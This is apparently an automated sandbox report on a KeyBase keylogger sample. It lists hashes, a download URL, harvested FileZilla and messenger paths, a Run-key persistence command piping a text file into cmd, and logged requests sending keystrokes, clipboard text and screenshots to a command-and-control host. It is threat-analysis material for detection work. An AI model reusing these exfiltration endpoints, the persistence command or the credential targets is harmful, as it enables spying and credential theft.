

## PSA18.exe

Is DLL

Packer

Anti Debug

Anti VM

Signed

XOR

**MalFamily: Keybase**


**MalScore: 100**

<b>File type:</b>	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
<b>File size:</b>	235.00 KB (240640 bytes)
<b>Compile time:</b>	2018-02-06 23:48:30
<b>MD5:</b>	c7f1dbf1184138cd0a6dcf90f4266e01
<b>SHA1:</b>	44eee0ee6b093116a85928c153609c225dfbe4d1
<b>Import hash:</b>	f34d5f2d4577ed6d9ceec516c1f5a744
<b>Submitted:</b>	2018-02-22 00:03:04

### URL(s) file hosting

<http://dukhdardhis.com/PSA18.exe>

### Antivirus Report

Report date	Detection Ratio	Permalink
2018-02-09 18:53:06	37/68	

### Import library

mscoree.dll

**14**

## Behaviors detected by system signatures

Created network traffic indicative of malicious activity

- signature: ET TROJAN KeyBase Keylogger HTTP Pattern



- signature: ET TROJAN KeyBase Keylogger Uploading Screenshots
- signature: Traffico Anomalo: Traffico verso host malevolo, GET HTTP Content ".php" (Soc-Rule)

Harvests information related to installed instant messenger clients

- key: HKEY\_CURRENT\_USER\Software\IMVU\username
- key: HKEY\_CURRENT\_USER\Software\Paltalk

Harvests credentials from local FTP client softwares

- file: C:\Users\Seven01\AppData\Roaming\FileZilla\sitemanager.xml
- file: C:\Users\Seven01\AppData\Roaming\FileZilla\recentervers.xml

Creates a copy of itself

- copy: C:\Users\Seven01\Desktop\PSAA1.exe

Installs itself for autorun at Windows startup

- key: HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run\PSA
- data: cmd /c type C:\Users\Seven01\AppData\Local\Temp\PSA.txt | cmd

A process attempted to delay the analysis task by a long amount of time.

- Process: PSAA1.exe tried to sleep 45019 seconds, actually delayed analysis time by 0 seconds

Sniffs keystrokes

- SetWindowsHookExA: Process: PSAA1.exe(2900)

Executed a process and injected code into it, probably while unpacking

- Injection: PSAA1.exe(2620) -> PSAA1.exe(2900)

The binary likely contains encrypted or compressed data.

- section: name: .text, entropy: 7.99, characteristics: IMAGE\_SCN\_CNT\_CODE|IMAGE\_SCN\_MEM\_EXECUTE|IMAGE\_SCN\_MEM\_READ, raw\_size: 0x00034000, virtual\_size: 0x00033fc4

Performs some HTTP requests

- url:  
<http://settings.platinumistabul.com/keybase/post.php?type=clipboard&machinename=SEVEN02-PC&windowtitle=&clipboardtext=nepituorarcenrnreidmshasphndmilfriesets%20twreiaar%20togyddohacgo tmcotu%20moebofyaohpp%20olr%20tieasdh%20ptletbsoi%20oegdcelfgdocslhseoarai%20fteh%20opi%20ddsh%20ldreim%20oeb%20eo%20trheotypeal%20etuhrihdl%20%20hishewimsdlefd%20outpan eeeiaildeihdih%20%20hien%20ninagrerearoonpdaeepc%20aheomhmgeoacu%20tahnoe%20uhooe tpsnruelitiowle%20eehiehlhreiweeecatetidreealilwiii%20tdoagbstehnrtoe%20oehanhocIntihourre %20gimo%20mot%20ogrlawlachbrahfo%20%20seytcedsdpstta%20rllrn%20c%20olitgu%20hyaio w mnewnelhstwdmliliu%20wdngoityhghuohrisfi%20pebdroddnnhahans%20ytlbhrabalddtngautoaib ndntudeldh%20ghdaon%20eoeosusraeawdg%20dmoyathmt%20%20aehdr%20gresetie%20a&machinetime=3.04>
- url: <http://settings.platinumistabul.com/keybase/image/upload.php>
- url:  
<http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=4.22>
- url:  
<http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=4.43>
- url:  
<http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=5.43>
- url:  
<http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Start&keystrokestyped=&machinetime=7.23>
- url:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC &windowtitle=Program%20Manager&keystrokestyped=&machinetime=7.23

- url:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC &windowtitle=&keystrokestyped=&machinetime=9.04

- url:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC &windowtitle=Program%20Manager&keystrokestyped=&machinetime=9.04

- url:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC &windowtitle=&keystrokestyped=&machinetime=17.33

HTTP traffic contains suspicious features which may be indicative of malware related traffic

- post\_no\_referer: HTTP traffic contains a POST request with no referer header
- post\_no\_useragent: HTTP traffic contains a POST request with no user-agent header
- get\_no\_useragent: HTTP traffic contains a GET request with no user-agent header
- suspicious\_request:

http://settings.platinumistabul.com/keybase/post.php?type=clipboard&machinename=SEVEN02-PC&windowtitle=&clipboardtext=nepituorarcesrnreidmshasphndmilfriesets%20twreiaar%20togyddohacgo tmcotu%20moebofyaohpp%20olr%20tieasdh%20ptletbsoi%20oegdcelfgdocslhseooarai%20fteh%20pi%20ddsh%20dreim%20oeb%20eo%20trheotypeal%20etuhrihdl%20%20hishewimsdlefd%20utpan eeeiaildeihdh%20%20hien%20ninagrerearondpdaeepc%20aheomhmgeoacu%20tahnoe%20uhooe tpsruelitiowle%20eehiehlhreiweeecatetidreealilwii%20tdoagbstehnrtoe%20oehocIntihourre %20gimo%20mot%20ogrlawlachbrafo%20%20seytcedsdpstta%20rllrn%20c%20olitgu%20hyaio w mnewnelhstwdmliliu%20wdngoityhghuohrisfi%20pebdroddnnhahans%20yaltbhrabalddtngautoaib ndntudeldh%20gthdaon%20eoeosusraaeawdg%20dmoyathmt%20%20aehdr%20gresetie%20a&ma chinetime=3.04

- suspicious\_request: http://settings.platinumistabul.com/keybase/image/upload.php

- suspicious\_request:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC &windowtitle=Program%20Manager&keystrokestyped=&machinetime=4.22

- suspicious\_request:

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- suspicious\_request:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC &windowtitle=Program%20Manager&keystrokestyped=&machinetime=5.43

- suspicious\_request:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC &windowtitle=Start&keystrokestyped=&machinetime=7.23

- suspicious\_request:

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Drops a binary and executes it

- binary: C:\Users\Seven01\Desktop\PSAA1.exe

A process created a hidden window

- Process: PSA18.exe -> "cmd"  
- Process: PSAA1.exe -> "cmd"

Creates RWX memory

## 22 HTTP Request(s) detected

<http://settings.platinumistabul.com/keybase/post.php?type=clipboard&machinename=SEVEN02-PC&windowtitle=&clipboardtext=nepituorarcesrnreidmshasphndmilfriesets%20twreiaar%20togyddohacgotmcotu%20moebofyaohpp%20olr%20tieasdho%20ptletbsoi%20oegdcelfgdocslhseooarai%20fteh%20pi%20ddsh%20ldreim%20oeb%20eo%20trheotyael%20etuhrihdl%20%20hishewimsdlefd%20utpaneeeiaildeihdih%20%20hien%20ninagrerearondpdaeepc%20aheomhmgeoacu%20tahnoe%20uhooetpnsruelitiowle%20eehiehlhreiweeeecatetidreealilwiii%20tdoagbstehnrtoe%20oanhocIntihhourre%20gimo%20mot%20ogrlawlachbtrahfo%20%20seytce dsdpstta%20rllrn%20c%20olitgu%20hyaowmnewnelhstwdmliliu%20wdngoityhghuoohrisfi%20pebdroddnnhnaahns%20ytabhrabalddtngautoaibndntudeldh%20gthdaon%20eoeosusraeawdg%20dmoyathmt%20%20aehdr%20gresetie%20a&machinetime=3.04>

Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

<http://settings.platinumistabul.com/keybase/image/upload.php>

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